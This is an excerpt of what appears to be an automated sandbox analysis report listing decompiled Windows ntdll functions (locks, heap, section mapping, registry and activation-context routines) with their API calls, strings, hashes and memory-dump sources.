						}
						__eflags = _t286 & 0x00000010;
						if((_t286 & 0x00000010) == 0) {
							goto L37;
						}
						goto L14;
					}
					__eflags =  *(_t315 + 0x1c);
					if( *(_t315 + 0x1c) != 0) {
						__eflags =  *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c);
						if( *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c) > 0) {
							goto L14;
						}
						goto L40;
					}
					goto L14;
				}
			}

0x6b473aca
0x6b473acf
0x6b473ad4
0x6b473ad9
0x6b473adb
0x6b473ae0
0x6b473ae3
0x6b473ae5
0x6b473ae8
0x6b473aeb
0x6b473aed
0x6b473af5
0x6b473af8
0x6b473afb
0x6b473afe
0x6b473b05
0x6b473b0a
0x6b473b0d
0x00000000
0x6b473b10
0x6b473b15
0x6b473b1a
0x6b473b21
0x6b473b30
0x6b473b30
0x6b473b33
0x6b473b33
0x6b473b36
0x6b473b39
0x6b473b3f
0x6b473b47
0x6b473b4a
0x6b473b4a
0x6b473b4f
0x6b473b4f
0x6b473b4f
0x6b473b4f
0x6b473b4f
0x6b473b54
0x6b473b5c
0x6b473b61
0x6b473b67
0x6b473b6f
0x6b473b6f
0x6b473b71
0x6b473b75
0x6b473b77
0x00000000
0x00000000
0x6b473e6c
0x6b473e6c
0x6b473b7d
0x6b473b7d
0x6b473b82
0x6b473b84
0x6b473b87
0x6b473b8a
0x6b473b8d
0x6b473b90
0x6b473b90
0x6b473b97
0x6b473b97
0x6b473ba7
0x6b473baa
0x6b473bad
0x6b473bad
0x6b473bb7
0x6b473bb7
0x6b473bbc
0x6b473bbf
0x6b473bc1
0x6b473bc7
0x6b473bcd
0x6b473bd5
0x6b473bd8
0x6b473bda
0x6b473be1
0x6b473be4
0x6b473be7
0x6b473bea
0x6b473bed
0x6b473d97
0x6b473d9c
0x6b473da8
0x6b473dad
0x6b473db0
0x6b473db2
0x6b473db5
0x6b4d020b
0x6b4d0211
0x6b4d0213
0x6b4d0213
0x6b473dbb
0x00000000
0x6b473dbb
0x6b473bf3
0x6b473bf5
0x00000000
0x00000000
0x6b473bfb
0x6b473bfe
0x6b473bfe
0x6b473bfe
0x6b473c02
0x6b473dd1
0x6b473dd1
0x6b473dd7
0x6b4d00c1
0x6b4d00c4
0x6b473c11
0x6b473c11
0x6b473c14
0x6b4d00cf
0x6b4d00d2
0x00000000
0x00000000
0x6b4d00d8
0x6b4d00e6
0x6b4d00e9
0x6b4d00ec
0x6b4d00ef
0x00000000
0x00000000
0x00000000
0x6b4d00f5
0x6b4d00dd
0x6b4d00e0
0x00000000
0x00000000
0x00000000
0x6b4d00e0
0x6b473c1a
0x6b473c1a
0x6b473c1d
0x6b473e20
0x6b473e23
0x00000000
0x00000000
0x00000000
0x6b473e29
0x6b473c23
0x6b473c23
0x6b473c26
0x6b473c2c
0x6b473c2f
0x6b473c35
0x6b473c3b
0x6b473c41
0x6b473c47
0x6b473c4d
0x6b473c59
0x6b473c5f
0x6b473c62
0x6b473c68
0x6b473c6a
0x6b473c6d
0x6b473c74
0x6b473c79
0x6b473c7b
0x6b473c7e
0x6b473c80
0x6b473c83
0x6b473c89
0x6b473c8b
0x6b473dea
0x6b473df1
0x6b473df2
0x6b473df5
0x6b473df8
0x6b473dfb
0x6b473dfd
0x00000000
0x00000000
0x6b473e03
0x6b473e07
0x6b473e42
0x6b473e49
0x6b473e4a
0x6b473e4d
0x00000000
0x6b473e4d
0x6b473e09
0x6b473d86
0x6b473d89
0x6b473d8c
0x6b473d8e
0x6b473e31
0x6b473e31
0x6b473d94
0x00000000
0x6b473d94
0x6b473c91
0x6b473c91
0x6b473c94
0x6b473d23
0x6b473d23
0x6b473d27
0x6b473e16
0x6b473e16
0x6b473d2d
0x6b473d31
0x6b4d01fe
0x6b4d01fe
0x6b473d84
0x6b473d84
0x00000000
0x6b473d84
0x6b473d3d
0x6b473d44
0x6b473d45
0x6b473d48
0x6b473d4f
0x6b4d01de
0x6b4d01de
0x6b4d01e2
0x00000000
0x00000000
0x6b4d01ea
0x6b4d01ea
0x6b4d01eb
0x6b4d01f9
0x00000000
0x6b4d01f9
0x6b473d55
0x6b473d5c
0x00000000
0x00000000
0x6b473d62
0x6b473d66
0x6b473e55
0x6b473e5e
0x6b473e60
0x00000000
0x00000000
0x6b473d75
0x6b473d75
0x6b473d79
0x6b473d7b
0x6b473d7e
0x6b4d01c7
0x6b4d01ca
0x6b4d01cd
0x6b4d01d0
0x6b4d01d3
0x6b4d01d6
0x6b4d01d6
0x6b473d7e
0x00000000
0x6b473d79
0x6b473d6c
0x6b473d72
0x00000000
0x6b473d72
0x6b473c9d
0x6b473ca0
0x6b473cab
0x6b473cae
0x6b473cb1
0x6b473cb5
0x6b473cb7
0x6b473cd2
0x6b473cdb
0x6b473cdb
0x6b473cde
0x6b473ce1
0x6b473ce3
0x6b4d00fa
0x6b4d00fd
0x00000000
0x00000000
0x6b4d0103
0x6b4d0107
0x6b4d0113
0x6b4d0125
0x6b4d012b
0x6b4d012e
0x6b4d0131
0x00000000
0x6b4d0131
0x6b4d0109
0x6b4d010d
0x00000000
0x00000000
0x00000000
0x6b473ce9
0x6b473ce9
0x6b473ce9
0x6b473cee
0x6b4d0139
0x6b4d0149
0x6b4d014f
0x6b4d014f
0x6b473cf4
0x6b473cf9
0x6b473cfb
0x6b4d0160
0x6b473d01
0x6b473d01
0x6b473d01
0x6b473d06
0x6b473d09
0x6b4d0184
0x6b4d0184
0x6b473d0f
0x6b473d16
0x6b473d1e
0x00000000
0x6b473d1e
0x6b473ce3
0x6b4d00ca
0x6b473ddd
0x6b473de0
0x00000000
0x00000000
0x00000000
0x6b473de2
0x6b473c08
0x6b473c0b
0x6b473dc9
0x6b473dcb
0x00000000
0x00000000
0x00000000
0x6b473dcb
0x00000000
0x6b473c0b

APIs

RtlAcquireSRWLockExclusive.1105(00000000,6B54F4D0,00000084,6B473A18,00000000,?,?), ref: 6B473B05
RtlReleaseSRWLockExclusive.1105(?,?,00000000,6B54F4D0,00000084,6B473A18,00000000,?,?), ref: 6B473B1A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,6B54F4D0,00000084,6B473A18,00000000,?,?), ref: 6B473C74

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID:
API String ID: 1021914862-0
Opcode ID: 634261d12ebbb3086f8b6dc6cb6257b47860e641a4d300e9b1fe1f477c949e0b
Instruction ID: 8ca40847478b96ceaed98e86d88e5d151229c13cdafa6f546b0ff81517479ce7
Opcode Fuzzy Hash: 634261d12ebbb3086f8b6dc6cb6257b47860e641a4d300e9b1fe1f477c949e0b
Instruction Fuzzy Hash: B4E1DA71E01608DFCB25DFA9C994ADDBBF1BF48304F2045AAE556A7360DB39A842CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AAC7B, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 205nativeCOMMON

Download Yara Rule

APIs

ZwFreeVirtualMemory.1105(000000FF,-00000018,?,00004000,?,-00000007,00000001,?,-00000018,?), ref: 6B4AAD0B
RtlFillMemoryUlong.1105(00000009,?,FEEEFEEE,?,-00000007,00000001,?,-00000018,?), ref: 6B4E9F5B

Strings

HEAP: , xrefs: 6B4EA0BA
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6B4EA0CD
HEAP[%wZ]: , xrefs: 6B4EA0AD

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Memory$FillFreeUlongVirtual
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 3117835691-1340214556
Opcode ID: 1b3a92cc562e9defa0ae26fb54f1519bc731c3339b0885c62bbe113a00098b42
Instruction ID: b54c4c17289e3e2cae8c221f1b94b460f78517da3f3675f083f924be1f7c0de2
Opcode Fuzzy Hash: 1b3a92cc562e9defa0ae26fb54f1519bc731c3339b0885c62bbe113a00098b42
Instruction Fuzzy Hash: 1D810331644A84EFE712CBA8C884F99BBF8FF05715F0041A9E5908B796E73CE941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AD7CA, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192nativememoryCOMMON

Download Yara Rule

APIs

RtlImageNtHeader.1105(?,00000000,?,02BE0000), ref: 6B4AD807

Part of subcall function 6B48B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6B4A381C,?,6B54FF48,00000050,6B4A3E98,?,6B49F900,00000000,00000000), ref: 6B48B076

Part of subcall function 6B4865BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6B4865CA

RtlFreeHeap.1105(?,00000000,?,?,6B4AD77E,00000000,?,?,00000000,?,02BE0000), ref: 6B4AD8B6
ZwCreateSection.1105(00000000,000F0005,00000000,00000000,02BE0000,08000000,00000000,6B4AD77E,00000000,?,?,00000000,?,02BE0000), ref: 6B4AD8D7
ZwMapViewOfSection.1105(00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000,08000000), ref: 6B4AD8FF
ZwClose.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6B4AD90F
RtlImageNtHeader.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6B4AD91E
ZwClose.1105(00000000,?,6B4AD77E,00000000,?,?,00000000,?,02BE0000), ref: 6B4EB1C9
RtlFreeHeap.1105(?,00000000,?,00000000,?,6B4AD77E,00000000,?,?,00000000,?,02BE0000), ref: 6B4EB1DB

Part of subcall function 6B4AD976: ZwCreateFile.1105(00000000,80100080,00000018,?,00000000,00000000,00000005,00000001,00000000,00000000,00000000,?,02BE0000,00000000,00000000), ref: 6B4AD999

ZwClose.1105(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000), ref: 6B4EB1F9
ZwUnmapViewOfSection.1105(000000FF,00000000,6B4AD77E,00000000,?,?,00000000,?,02BE0000), ref: 6B4EB218

Strings

@, xrefs: 6B4AD883

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHeaderImageSection$CreateFreeHeapView$FileInitStringUnicodeUnmap
String ID: @
API String ID: 3014096824-2766056989
Opcode ID: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction ID: 4779af499302a38c52a16d22bf0cf7268fdec4ee4d4eef46642bc7998c43de2c
Opcode Fuzzy Hash: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction Fuzzy Hash: 5B615E71D40219AFDF11CFA9C884FAEBBB8FF95714F104169E824A7254D779DA02CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5264FB, Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 125nativeCOMMON

Download Yara Rule

APIs

ZwOpenKey.1105(?,00000001,?,00000124,00000000,00000000), ref: 6B526598

Part of subcall function 6B4B9600: LdrInitializeThunk.NTDLL(6B4B1119,?,?,00000018,?), ref: 6B4B960A

ZwQueryValueKey.1105(?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6B5265BA
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6B5265EC
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124), ref: 6B526602
ZwClose.1105(00000000,?,00000001,?,00000124,00000000,00000000), ref: 6B52663B

Strings

ServerNt, xrefs: 6B526574
ProductType, xrefs: 6B526566
\Registry\Machine\System\CurrentControlSet\Control\ProductOptions, xrefs: 6B52655B
WinNt, xrefs: 6B52657B
7fNk, xrefs: 6B5265CA
LanmanNt, xrefs: 6B52656D

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$CloseInitializeOpenQueryThunkValue
String ID: 7fNk$LanmanNt$ProductType$ServerNt$WinNt$\Registry\Machine\System\CurrentControlSet\Control\ProductOptions
API String ID: 1342846649-1372784009
Opcode ID: e2c4dc292f403d2565f95ec30e6a80212712ee5bb4aa2d4578df3223c862b638
Instruction ID: e5dc4387d36a8330527e1a455f51868eada983bdbf1e3249e24904698ad44a12
Opcode Fuzzy Hash: e2c4dc292f403d2565f95ec30e6a80212712ee5bb4aa2d4578df3223c862b638
Instruction Fuzzy Hash: E4414C72D4534CAAEB10CFE4D981EDEBBB8EF09704F20412BE514BB290E7799905CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6B47395E, Relevance: 19.7, APIs: 13, Instructions: 172COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000000), ref: 6B473986
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000), ref: 6B4739D4
RtlReleaseSRWLockExclusive.1105(?), ref: 6B4739F9
RtlReleaseSRWLockShared.1105(?,?), ref: 6B473A07
RtlAcquireSRWLockExclusive.1105(?,00000001,00000000,?,?), ref: 6B473A41
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000001,00000000,?,?), ref: 6B473A76
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000000), ref: 6B473AB7

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: a54927b132ed02ee4fd0eb30944e4a2c06c41013d6c2033ebeeef6d5d4818d9b
Instruction ID: df75b268858c42b84bc694e41d3e21fcd5e23dc77b43afc7f25eff366b340e4f
Opcode Fuzzy Hash: a54927b132ed02ee4fd0eb30944e4a2c06c41013d6c2033ebeeef6d5d4818d9b
Instruction Fuzzy Hash: F0516A71600745AFD730EB69C896FAAB7B8EB4670DF10486ED14687610DB7CE846CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6B492D50, Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 397COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.,RtlpFindActivationContextSection_CheckParameters,C000000D), ref: 6B4DD72D

Strings

RtlpFindActivationContextSection_CheckParameters, xrefs: 6B4DD71F, 6B4DD753
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6B4DD724
Actx , xrefs: 6B4DD76A, 6B4DD7D1
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 6B4DD809
%*Ik, xrefs: 6B492DB1, 6B492EE1, 6B492DE2, 6B492F0F
SsHd, xrefs: 6B492EF4
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6B4DD758

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: %*Ik$Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 3558298466-1954802166
Opcode ID: 3eaeeaafc1fd158e8ec6b0a5813a361f75dcf22b1979290171db7abab6c4b07e
Instruction ID: 867b8f9041db94897e8475adf88861149067e54ccff3c251f103d30fbf29b7c4
Opcode Fuzzy Hash: 3eaeeaafc1fd158e8ec6b0a5813a361f75dcf22b1979290171db7abab6c4b07e
Instruction Fuzzy Hash: 8EE1E4706083029FD714DF28D891F6ABBF1AB8A714F00466DF8A5CB394DB39D945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B49A830, Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000018,?,?,?,?,?,?,?,?,?,6B49A3D0,?,?,-00000018), ref: 6B4E22DC
DbgPrint.1105(((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)),?,?,?,?,?,?,?,?,6B49A3D0,?,?,-00000018,?), ref: 6B4E22F8

Strings

((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 6B4E22F3
HEAP: , xrefs: 6B4E22E6, 6B4E23F6
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 6B4E2403
HEAP[%wZ]: , xrefs: 6B4E22D7, 6B4E23E7

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 3558298466-1657114761
Opcode ID: bd01b72cc68335f329b031bdbb7f65fdb21b07b54e30b2d1c12f93fa23177d6c
Instruction ID: 01246f350abfb7a8cf54689e068f88e48afdc6f5d78e90c10351b2cead7bfbd5
Opcode Fuzzy Hash: bd01b72cc68335f329b031bdbb7f65fdb21b07b54e30b2d1c12f93fa23177d6c
Instruction Fuzzy Hash: BDD1DE30E046468FDB18DF68D490FAABBF1FF49304F1585A9D8599B341E738E842CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AC707, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 251memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,?,?,00000002), ref: 6B4AC8BF
memcpy.1105(00000000,?,0000022C,E850CF8B,?,?,00000002), ref: 6B4AC981
DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlpGetActivationContextDataStorageMapAndRosterHeader,?,?,00000002), ref: 6B4EA7EF

Strings

RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 6B4EA7E1, 6B4EA8B9
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 6B4EA8BE
.Local, xrefs: 6B4AC9A4
SXS: %s() passed the empty activation context, xrefs: 6B4EA7E6

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrintmemcpy
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 3847278171-1239276146
Opcode ID: f2169c136fd8a2059ce0524bb4acf70fc599a5dbe9c28ae8a99fc0f9f10f0050
Instruction ID: dba56245d3338d613ef285f148f94d605ac78c9c69b35df222132de769fd7678
Opcode Fuzzy Hash: f2169c136fd8a2059ce0524bb4acf70fc599a5dbe9c28ae8a99fc0f9f10f0050
Instruction Fuzzy Hash: BFA18A31941229ABDF60CF68DC84F99B3B5BF68715F1041EAD818A7355D7389E82CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B0F48, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 188nativeCOMMON

Download Yara Rule

APIs

ZwOpenKey.1105(?,?,00000018), ref: 6B4B1015
ZwClose.1105(?,?,?,00000018), ref: 6B4B1078
ZwClose.1105(?,?,?,?,?,00000018), ref: 6B4B1084

Strings

FilterFullPath, xrefs: 6B4ECCF4
UseFilter, xrefs: 6B4ECD29

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Open
String ID: FilterFullPath$UseFilter
API String ID: 2976201327-4106802152
Opcode ID: dd59ab96cb907f9f65c0e5efab7a7ea2bb52047da0db9d43fca428485cc86d15
Instruction ID: 32abb3b5c0e07f1726310eec300f9ec58cbe12c72c791846ccf4875e0cb9ee57
Opcode Fuzzy Hash: dd59ab96cb907f9f65c0e5efab7a7ea2bb52047da0db9d43fca428485cc86d15
Instruction Fuzzy Hash: 5061E0719083559BD710CF28C441E6BBBE8AFC9718F04495EFA84A7210E739D90ACBF2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AC63D, Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 111COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlGetAssemblyStorageRoot,?,00000000,?,00000002,?,00000040,?,00000000,?), ref: 6B4EA775

Strings

SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 6B4EA780
RtlGetAssemblyStorageRoot, xrefs: 6B4EA768, 6B4EA7A2, 6B4EA7C2
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 6B4EA788
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 6B4EA7C7
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 6B4EA7A7
SXS: %s() passed the empty activation context, xrefs: 6B4EA76D

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 3558298466-861424205
Opcode ID: af4f0e56f15c8cd5dbe26d8eea4b5f26d7e8c459c0aeb3ed203d1ee0d73ac532
Instruction ID: efdeb0daa1456222c2d029f3123eb6071b36b8f26d0b883298b17707518b7752
Opcode Fuzzy Hash: af4f0e56f15c8cd5dbe26d8eea4b5f26d7e8c459c0aeb3ed203d1ee0d73ac532
Instruction Fuzzy Hash: C8310376A00125BBFB10CA998C85F9A7B799F61BD9F000099F94077245EA78DE01C7F2

Uniqueness

Uniqueness Score: -1.00%

Function 6B54F019, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 105memorynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\,02000000,?,00000000), ref: 6B54F03B

Part of subcall function 6B54F13B: ZwOpenKey.1105(?,02000000,?,?,02000000,00000000), ref: 6B54F182
Part of subcall function 6B54F13B: ZwCreateKey.1105(?,02000000,00000018,00000000,00000000,00000000,6B54F056), ref: 6B54F19F

RtlInitUnicodeString.1105(?,RedirectedKey,?,?,00000000), ref: 6B54F07B
ZwQueryValueKey.1105(?,?,00000002,00000000,00000000,?), ref: 6B54F08F
RtlAllocateHeap.1105(?,00000008,?), ref: 6B54F0BE
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?), ref: 6B54F0D9
RtlInitUnicodeString.1105(?,0000000C), ref: 6B54F0F1
ZwClose.1105(?,?,?,00000002), ref: 6B54F114
RtlFreeHeap.1105(?,00000000,00000000), ref: 6B54F12B

Strings

RedirectedKey, xrefs: 6B54F06A
\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 6B54F02B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$HeapQueryValue$AllocateCloseCreateFreeOpen
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 1683559675-1388552009
Opcode ID: b60693af4bc5786bf69fbe67e38e48f3429d77b5e73e73bff02374c0eedc6771
Instruction ID: aae46060cd88887c99116b0f2aa540ea16b83ec5a155525b9ca8236345d8ea12
Opcode Fuzzy Hash: b60693af4bc5786bf69fbe67e38e48f3429d77b5e73e73bff02374c0eedc6771
Instruction Fuzzy Hash: 8D310976E01609AFEB11DFA8C985EDEBBBCEB49314F10406AE515E3210DB38DE05DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B515100, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 85nativethreadCOMMON

Download Yara Rule

APIs

RtlCaptureContext.1105(?,00000000,00000000,?), ref: 6B515128
DbgPrintEx.1105(00000065,00000000,*** Assertion failed: %s%s*** Source File: %s, line %ld,6B4DD3E5,000001B2,?,?,?,00000000,00000000,?), ref: 6B515147
DbgPrompt.1105(Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6B51516A
